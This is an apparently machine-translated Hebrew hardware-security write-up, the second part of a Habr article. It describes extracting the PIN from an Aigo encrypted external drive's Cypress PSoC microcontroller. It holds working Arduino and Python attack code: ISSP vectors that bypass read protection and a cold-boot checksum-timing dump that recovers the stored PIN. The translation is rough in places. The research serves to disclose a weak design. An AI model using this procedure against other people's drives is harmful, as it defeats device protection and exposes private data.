זהו החלק השני והאחרון של המאמר על פריצת כוננים חיצוניים להצפנה עצמית. הרשו לי להזכיר לכם שעמית הביא לי לאחרונה כונן קשיח של Patriot (Aigo) SK8671, והחלטתי להפוך אותו, ועכשיו אני משתף את מה שיצא ממנו. לפני קריאה נוספת, הקפד לקרוא חלק ראשון מאמרים.

4. אנחנו מתחילים לקחת dump מכונן הבזק PSoC הפנימי
5. פרוטוקול ISSP
– 5.1. מה זה ISSP
– 5.2. וקטורים מסלקים
– 5.3. תקשורת עם PSoC
– 5.4. זיהוי אוגרים על שבב
– 5.5. חלקי אבטחה
6. התקפה ראשונה (כושלת): ROMX
7. התקפה שנייה: מעקב אחר אתחול קר
– 7.1. יישום
– 7.2. קורא את התוצאה
– 7.3. שחזור בינארי פלאש
– 7.4. מציאת כתובת אחסון קוד PIN
– 7.5. לקיחת מזבלה של בלוק מס' 126
– 7.6. שחזור קוד PIN
8. מה הלאה?
9. מסקנה

4. אנחנו מתחילים לקחת dump מכונן הבזק PSoC הפנימי

אז הכל מצביע (כפי שקבענו ב[חלק הראשון]()) שקוד ה-PIN מאוחסן במעמקי ההבזק של ה-PSoC. לכן, עלינו לקרוא את עומקי ההבזק הללו. חזית העבודה הדרושה:

• להשתלט על "תקשורת" עם המיקרו-בקר;
• למצוא דרך לבדוק האם "תקשורת" זו מוגנת מקריאה מבחוץ;
• למצוא דרך לעקוף את ההגנה.

ישנם שני מקומות בהם הגיוני לחפש קוד PIN חוקי:

• זיכרון פלאש פנימי;
• SRAM, שבו ניתן לאחסן את קוד ה-PIN כדי להשוות אותו לקוד ה-PIN שהזין המשתמש.

במבט קדימה, אציין שעדיין הצלחתי לקחת dump של כונן ההבזק הפנימי של PSoC - עוקף את מערכת האבטחה שלו באמצעות התקפת חומרה שנקראת "מעקב אחר אתחול קר" - לאחר שהפכתי את היכולות הלא מתועדות של פרוטוקול ISSP. זה איפשר לי לזרוק ישירות את קוד ה-PIN בפועל.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

קוד תוכנית סופי:

• קוד Arduino עבור HSSP;
• מנהל התקן Python ומפרק ISSP.

5. פרוטוקול ISSP

5.1. מה זה ISSP

משמעות "תקשורת" עם מיקרו-בקר יכולה להיות דברים שונים: מ"ספק לספק" ועד לאינטראקציה באמצעות פרוטוקול טורי (לדוגמה, ICSP עבור PIC של Microchip).

ל- Cypress יש פרוטוקול קנייני משלה לכך, הנקרא ISSP (פרוטוקול תכנות טורי בתוך המערכת), המתואר בחלקו ב- מפרט טכני. פטנט US7185162 גם נותן קצת מידע. יש גם מקבילה של OpenSource בשם HSSP (נשתמש בה קצת מאוחר יותר). ISSP פועל באופן הבא:

• אתחול PSoC;
• פלט את מספר הקסם לפין הנתונים הטורי של PSoC זה; כדי להיכנס למצב תכנות חיצוני;
• שלח פקודות, שהן מחרוזות סיביות ארוכות הנקראות "וקטורים".

תיעוד ISSP מגדיר וקטורים אלה עבור קומץ קטן של פקודות בלבד:

• אתחול-1
• אתחול-2
• אתחול-3 (אפשרויות 3V ו-5V)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010dddddddd111, כאשר dddddddd=block #
• מחיקת כמות גדולה
• PROGRAM-BLOCK
• אמת את ההגדרה
• READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, כאשר DDDDDDDD = נתונים החוצה, aaaaaa = כתובת (6 סיביות)
• WRITE-BYTE: 10010aaaaaaddddddd111, כאשר dddddddd = data in, aaaaaa = כתובת (6 סיביות)
• לבטח
• CHECKSUM-SETUP
• READ-CHECKSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, כאשר DDDDDDDDDDDDDDDDDD = יציאת נתונים: סכום בדיקת מכשיר
• מחק בלוק

לדוגמה, הווקטור של Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

לכל הוקטורים יש אורך זהה: 22 סיביות. בתיעוד HSSP יש מידע נוסף על ISSP: "וקטור ISSP הוא לא יותר מרצף סיביות המייצג קבוצה של הוראות."

5.2. וקטורים מסלקים

בואו נבין מה קורה כאן. בתחילה הנחתי שאותם וקטורים הם גרסאות גולמיות של הוראות M8C, אך לאחר בדיקת ההשערה הזו, גיליתי שהאופקודים של הפעולות לא תאמו.

אחר כך חיפשתי בגוגל את הווקטור למעלה ונתקלתי זֶה מחקר שבו המחבר, למרות שהוא לא נכנס לפרטים, נותן כמה טיפים שימושיים: "כל הוראה מתחילה בשלושה ביטים התואמים לאחת מארבעה זכרונות (קרא מ-RAM, כתוב ל-RAM, קרא רישום, כתוב רישום). לאחר מכן יש 8 סיביות כתובת, ואחריהן 8 סיביות נתונים (קריאה או כתיבה) ולבסוף שלושה סיביות עצירה".

אחר כך הצלחתי ללקט מידע שימושי מאוד מקטע ה-Supervisory ROM (SROM). מדריך טכני. SROM הוא ROM מקודד קשה ב-PSoC המספק פונקציות שירות (באופן דומה ל-Syscall) עבור קוד תוכנית הפועל במרחב המשתמש:

• 00h:SWBootReset
• 01h: ReadBlock
• 02h: WriteBlock
• 03h: EraseBlock
• 06:XNUMX: קריאה בטבלה
• 07h: CheckSum
• 08h: כייל0
• 09h: כייל1

על ידי השוואת שמות וקטורים לפונקציות SROM, נוכל למפות את הפעולות השונות הנתמכות על ידי פרוטוקול זה לפרמטרים הצפויים של SROM. הודות לכך, אנו יכולים לפענח את שלושת הביטים הראשונים של וקטורי ISSP:

• 100 => "wrem"
• 101 => "rdmem"
• 110 => "wrreg"
• 111 => "rdreg"

עם זאת, ניתן להשיג הבנה מלאה של תהליכים על-שבב רק באמצעות תקשורת ישירה עם ה-PSoC.

5.3. תקשורת עם PSoC

מאז דירק פטראוטסקי כבר מועבר קוד ה-HSSP של Cypress ב-Arduino, השתמשתי ב-Arduino Uno כדי להתחבר למחבר ISSP של לוח המקלדת.

שימו לב שבמהלך המחקר שלי שיניתי לא מעט את הקוד של דירק. אתה יכול למצוא את השינוי שלי ב-GitHub: כאן ותסריט Python המתאים לתקשורת עם Arduino, במאגר שלי cypress_psoc_tools.

אז, באמצעות Arduino, השתמשתי לראשונה רק בוקטורים ה"רשמיים" ל"תקשורת". ניסיתי לקרוא את ה-ROM הפנימי באמצעות הפקודה VERIFY. כצפוי, לא הצלחתי לעשות זאת. כנראה בגלל העובדה שסיביות הגנת קריאה מופעלות בתוך כונן ההבזק.

לאחר מכן יצרתי כמה וקטורים פשוטים משלי לכתיבה וקריאה של זיכרון/רגיסטרים. שימו לב שאנחנו יכולים לקרוא את כל ה-SROM למרות שכונן ההבזק מוגן!

5.4. זיהוי אוגרים על שבב

לאחר הסתכלות על הוקטורים ה"מפורקים", גיליתי שהמכשיר משתמש בריגרים לא מתועדים (0xF8-0xFA) כדי לציין קודי M8C שמבוצעים ישירות, תוך עקיפת ההגנה. זה אפשר לי להפעיל קודים שונים כגון "ADD", "MOV A, X", "PUSH" או "JMP". הודות להם (על ידי הסתכלות על תופעות הלוואי שיש להם על רגיסטרים) הצלחתי לקבוע אילו מהרגיסטרים הלא מתועדים הם בעצם רגיסטרים רגילים (A, X, SP ו-PC).

כתוצאה מכך, הקוד "המפורק" שנוצר על ידי הכלי HSSP_disas.rb נראה כך (הוספתי הערות לצורך הבהירות):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. חלקי אבטחה

בשלב זה אני כבר יכול לתקשר עם ה-PSoC, אבל עדיין אין לי מידע אמין על סיביות האבטחה של כונן ההבזק. הופתעתי מאוד מהעובדה ש- Cypress לא מספקת למשתמש במכשיר כל אמצעי לבדוק האם ההגנה מופעלת. התעמקתי בגוגל כדי להבין סוף סוף שקוד ה-HSSP שסיפק Cypress עודכן לאחר שדירק פרסם את השינוי שלו. וכך! הווקטור החדש הזה הופיע:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

באמצעות וקטור זה (ראה read_security_data ב-psoc.py), אנו מקבלים את כל סיביות האבטחה ב-SRAM ב-0x80, כאשר יש שני ביטים לכל בלוק מוגן.

התוצאה מדכאת: הכל מוגן במצב "השבת קריאה וכתיבה חיצונית". לכן, לא רק שאנחנו לא יכולים לקרוא שום דבר מכונן הבזק, אלא שאנחנו גם לא יכולים לכתוב שום דבר (לדוגמה, להתקין שם דומפר ROM). והדרך היחידה להשבית את ההגנה היא למחוק לחלוטין את השבב כולו. 🙁

6. התקפה ראשונה (כושלת): ROMX

עם זאת, נוכל לנסות את הטריק הבא: מכיוון שיש לנו את היכולת להפעיל קודים שרירותיים, מדוע לא להפעיל את ROMX, המשמש לקריאת זיכרון פלאש? לגישה זו יש סיכוי טוב להצליח. מכיוון שפונקציית ReadBlock שקוראת נתונים מה-SROM (שמשמשים בוקטורים) בודקת אם היא נקראת מה-ISSP. עם זאת, ייתכן שלקוד ה-ROMX אין בדיקה כזו. אז הנה הקוד של Python (לאחר הוספת כמה מחלקות עוזר לקוד Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

לצערי הקוד הזה לא עובד. 🙁 או ליתר דיוק זה עובד, אבל אנחנו מקבלים קודים משלנו בפלט (0x28 0x30 0x40)! אני לא חושב שהפונקציונליות המתאימה של המכשיר היא מרכיב של הגנת קריאה. זה יותר כמו טריק הנדסי: בעת ביצוע קודים חיצוניים, אפיק ה-ROM מופנה למאגר זמני.

7. התקפה שנייה: מעקב אחר אתחול קר

מכיוון שהטריק של ROMX לא עבד, התחלתי לחשוב על וריאציה נוספת של הטריק הזה - המתואר בפרסום "שופך יותר מדי אור על הגנת קושחה של מיקרו-בקר".

7.1. יישום

תיעוד ISSP מספק את הווקטור הבא עבור CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

זה בעצם קורא לפונקציית SROM 0x07, כפי שמוצגת בתיעוד (שלי נטוי):

אימות סכום בדיקת פונקציה זו. הוא מחשב סכום ביקורת של 16 סיביות של מספר הבלוקים שצוינו על ידי המשתמש בבנק הבזק אחד, החל מאפס. הפרמטר BLOCKID משמש להעברת מספר הבלוקים שישמשו בעת חישוב סכום הבדיקה. ערך של "1" יחשב רק את סכום הבדיקה עבור בלוק אפס; ואילו "0" יגרום לחישוב סכום הבדיקה הכולל של כל 256 הבלוקים של בנק הפלאש. סכום הבדיקה של 16 סיביות מוחזר באמצעות KEY1 ו-KEY2. הפרמטר KEY1 מאחסן את 8 הסיביות מהסדר הנמוך של סכום הבדיקה, והפרמטר KEY2 מאחסן את 8 הסיביות מהסדר הגבוה. עבור מכשירים עם מספר בנקי פלאש, פונקציית ה-Checksum נקראת עבור כל אחד בנפרד. מספר הבנק איתו הוא יעבוד נקבע על ידי האוגר FLS_PR1 (על ידי הגדרת הביט בו המתאים לבנק הפלאש היעד).

שימו לב שזהו סכום ביקורת פשוט: הבתים פשוט מתווספים אחד אחרי השני; ללא מוזרויות CRC מפוארות. בנוסף, מתוך ידיעה שלליבת ה-M8C יש קבוצה קטנה מאוד של אוגרים, הנחתי שבעת חישוב סכום הבדיקה, ערכי ביניים יירשמו באותם משתנים שילכו בסופו של דבר לפלט: KEY1 (0xF8) / KEY2 ( 0xF9).

אז בתיאוריה ההתקפה שלי נראית כך:

1. אנו מתחברים באמצעות ISSP.
2. אנו מתחילים את חישוב סכום הבדיקה באמצעות וקטור CHECKSUM-SETUP.
3. אנו מאתחלים את המעבד לאחר זמן מוגדר T.
4. אנו קוראים זיכרון RAM כדי לקבל את סכום הבדיקה הנוכחי C.
5. חזור על שלבים 3 ו-4, הגדל מעט את T בכל פעם.
6. אנו משחזרים נתונים מכונן הבזק על ידי הפחתת סכום הבדיקה הקודם C מהנוכחי.

עם זאת, יש בעיה: וקטור Initialize-1 שעלינו לשלוח לאחר אתחול מחדש מחליף את KEY1 ו-KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

קוד זה מחליף את סכום הבדיקה היקר שלנו על ידי קריאה ל-Calibrate1 (פונקציית SROM 9)... אולי נוכל פשוט לשלוח את המספר הקסום (מתחילת הקוד למעלה) להיכנס למצב תכנות, ואז לקרוא את ה-SRAM? וכן, זה עובד! קוד Arduino שמיישם את ההתקפה הזו הוא די פשוט:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. קרא checkum_delay.
2. הפעל חישוב סכום בדיקה (send_checksum_v).
3. המתן לפרק זמן מוגדר; תוך התחשבות במלכודות הבאות:
   • בזבזתי הרבה זמן עד שגיליתי מה יצא עיכוב מיקרו-שניות פועל כראוי רק עם עיכובים שאינם עולים על 16383 μs;
   • ואז שוב הרג את אותה כמות זמן עד שגיליתי שה-delayMicroseconds, אם 0 מועבר אליו כקלט, עובד לגמרי לא נכון!
4. הפעל מחדש את ה-PSoC למצב תכנות (אנחנו פשוט שולחים את מספר הקסם, מבלי לשלוח וקטורים אתחול).

קוד סופי בפייתון:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

בקצרה, מה הקוד הזה עושה:

1. מאתחל את ה-PSoC (ושולח לו מספר קסם).
2. שולח וקטורים אתחול מלא.
3. קורא לפונקציה Arduino Cmnd_STK_START_CSUM (0x85), כאשר ההשהיה במיקרו-שניות מועברת כפרמטר.
4. קורא את סכום הבדיקה (0xF8 ו-0xF9) ואת האוגר הלא מתועד 0xF1.

קוד זה מבוצע 10 פעמים במיקרו-שנייה אחת. 1xF0 נכלל כאן מכיוון שזה היה הרשום היחיד שהשתנה בעת חישוב סכום הבדיקה. אולי זה סוג של משתנה זמני המשמש את היחידה הלוגית האריתמטית. שימו לב לפריצה המכוערת שבה אני משתמש כדי לאפס את הארדואינו באמצעות פיקוקום כאשר הארדואינו מפסיק להראות סימני חיים (אין לי מושג למה).

7.2. קורא את התוצאה

התוצאה של הסקריפט של Python נראית כך (פשוטה לקריאה):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

עם זאת, יש לנו בעיה: מכיוון שאנו פועלים עם סכום ביקורת בפועל, בתים null לא משנה את הערך שנקרא. עם זאת, מכיוון שכל הליך החישוב (8192 בתים) לוקח 0,1478 שניות (עם שינויים קלים בכל פעם שהוא מופעל), מה שמשתווה ל-18,04 מיקרוסופט בערך לבייט, נוכל להשתמש בזמן הזה כדי לבדוק את ערך הבדיקה בזמנים המתאימים. בריצות הראשונות, הכל נקרא די בקלות, שכן משך ההליך החישובי תמיד כמעט זהה. עם זאת, הסוף של dump זה פחות מדויק מכיוון ש"סטיות התזמון הקלות" בכל ריצה מצטברות להיות משמעותיות:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

זה 10 השלכות לכל עיכוב של מיקרו שניות. זמן הפעולה הכולל להטלת כל 8192 הבתים של כונן הבזק הוא כ-48 שעות.

7.3. שחזור בינארי פלאש

עדיין לא סיימתי לכתוב את הקוד שישחזר לחלוטין את קוד התוכנית של כונן ההבזק, תוך התחשבות בכל סטיות הזמן. עם זאת, כבר שחזרתי את ההתחלה של הקוד הזה. כדי לוודא שעשיתי את זה נכון, פירקתי אותו באמצעות m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

נראה די סביר!

7.4. מציאת כתובת אחסון קוד PIN

כעת, כאשר אנו יכולים לקרוא את סכום הבדיקה בזמנים שאנו צריכים, אנו יכולים לבדוק בקלות כיצד והיכן הוא משתנה כאשר אנו:

• הזן קוד PIN שגוי;
• לשנות את קוד ה-PIN.

ראשית, כדי למצוא את כתובת האחסון המשוערת, עשיתי dump של סכום בדיקה במרווחים של 10 אלפיות השנייה לאחר אתחול מחדש. ואז הזנתי את ה-PIN השגוי ועשיתי אותו דבר.

התוצאה לא הייתה נעימה במיוחד, שכן היו שינויים רבים. אבל בסופו של דבר הצלחתי לקבוע שסכום הבדיקה השתנה איפשהו בין 120000 מיקרו-שניות ל-140000 מיקרו-שניות של עיכוב. אבל ה-"pincode" שהצגתי שם היה שגוי לחלוטין - עקב חפץ של הליך delayMicroseconds, שעושה דברים מוזרים כשמועבר אליו 0.

ואז, לאחר שביליתי כמעט 3 שעות, נזכרתי שמערכת ה-SROM הקריאה CheckSum מקבלת ארגומנט כקלט המציין את מספר החסימות עבור ה-checksum! זֶה. אנו יכולים בקלות לאתר את כתובת האחסון של קוד ה-PIN ומונה "הנסיונות השגויים", בדיוק של עד 64 בתים בלוק.

הריצות הראשוניות שלי הניבו את התוצאה הבאה:

לאחר מכן שיניתי את קוד ה-PIN מ-"123456" ל-"1234567" וקיבלתי:

לפיכך, נראה שקוד ה-PIN והמונה של ניסיונות שגויים מאוחסנים בבלוק מס' 126.

7.5. לקיחת מזבלה של בלוק מס' 126

בלוק מס' 126 אמור להיות ממוקם איפשהו בסביבות 125x64x18 = 144000μs, מתחילת חישוב סכום הבדיקה, ב-dump המלא שלי, וזה נראה די סביר. לאחר מכן, לאחר סינון ידני של השלכות לא חוקיות רבות (עקב הצטברות של "סטיות תזמון קלות"), בסופו של דבר קיבלתי את הבתים האלה (בהשהיה של 145527 מיקרון):

זה די ברור שקוד ה-PIN מאוחסן בצורה לא מוצפנת! ערכים אלו, כמובן, אינם כתובים בקודי ASCII, אך כפי שמתברר, הם משקפים את הקריאות שנלקחו מהמקלדת הקיבולית.

לבסוף, הרצתי עוד כמה בדיקות כדי למצוא היכן מאוחסן מונה הניסיונות הגרועים. הנה התוצאה:

0xFF - פירושו "15 ניסיונות" והוא פוחת עם כל ניסיון כושל.

7.6. שחזור קוד PIN

הנה הקוד המכוער שלי שמחבר את האמור לעיל:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

להלן התוצאה של ביצועו:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

הידד! עובד!

שים לב שערכי ההשהיה שבהם השתמשתי כנראה רלוונטיים ל-PSoC ספציפי אחד - זה שהשתמשתי בו.

8. מה הלאה?

אז בואו נסכם את הצד של ה-PSoC, בהקשר של כונן Aigo שלנו:

• אנו יכולים לקרוא SRAM גם אם הוא מוגן קריאה;
• אנו יכולים לעקוף את ההגנה נגד החלקה על ידי שימוש במתקפת מעקב של אתחול קר וקריאה ישירה של קוד ה-PIN.

עם זאת, להתקפה שלנו יש כמה פגמים עקב בעיות סנכרון. ניתן לשפר זאת באופן הבא:

• לכתוב כלי עזר לפענוח נכון של נתוני הפלט המתקבלים כתוצאה מהתקפת "עקבות אתחול קר";
• השתמש בגאדג'ט FPGA כדי ליצור עיכובי זמן מדויקים יותר (או השתמש בטיימרים של חומרה של Arduino);
• נסה התקפה נוספת: הזן קוד PIN שגוי בכוונה, הפעל מחדש והורד את RAM, בתקווה שקוד ה-PIN הנכון יישמר ב-RAM לצורך השוואה. עם זאת, זה לא כל כך קל לעשות ב- Arduino, מכיוון שרמת האות של Arduino היא 5 וולט, בעוד שהלוח שאנו בוחנים עובד עם אותות 3,3 וולט.

דבר מעניין אחד שאפשר לנסות הוא לשחק עם רמת המתח כדי לעקוף את הגנת הקריאה. אם גישה זו הייתה עובדת, נוכל לקבל נתונים מדויקים לחלוטין מכונן הבזק - במקום להסתמך על קריאת סכום בדיקה עם עיכובים בתזמון לא מדויקים.

מכיוון שה-SROM כנראה קורא את סיביות השמירה באמצעות קריאת מערכת ReadBlock, נוכל לעשות את אותו הדבר כמו מְתוּאָר בבלוג של דמיטרי נדוספסוב - יישום מחדש של המתקפה של כריס גרלינסקי, הוכרז בכנס "REcon Brussels 2017".

עוד דבר מהנה שאפשר לעשות הוא לטחון את המארז מהשבב: לקחת dump SRAM, לזהות קריאות מערכת לא מתועדות ופגיעויות.

9. מסקנה

אז, ההגנה של הכונן הזה משאירה הרבה מה לרצות, מכיוון שהוא משתמש במיקרו-בקר רגיל (לא "מוקשח") כדי לאחסן את קוד ה-PIN... בנוסף, לא בדקתי (עדיין) איך הדברים הולכים עם נתונים הצפנה במכשיר זה!

מה אתה יכול להמליץ ​​על אייגו? לאחר שניתח כמה דגמים של כונני HDD מוצפנים, בשנת 2015 יצרתי הַצָגָה ב-SyScan, שבו בחן את בעיות האבטחה של כמה כונני HDD חיצוניים, והציע המלצות מה ניתן לשפר בהם. 🙂

ביליתי שני סופי שבוע ומספר ערבים במחקר הזה. סך הכל כ-40 שעות. סופרים מההתחלה (כשפתחתי את הדיסק) ועד הסוף (מזמכת קוד PIN). אותן 40 שעות כוללות את הזמן שביליתי בכתיבת מאמר זה. זה היה טיול מאוד מרגש.

מקור: www.habr.com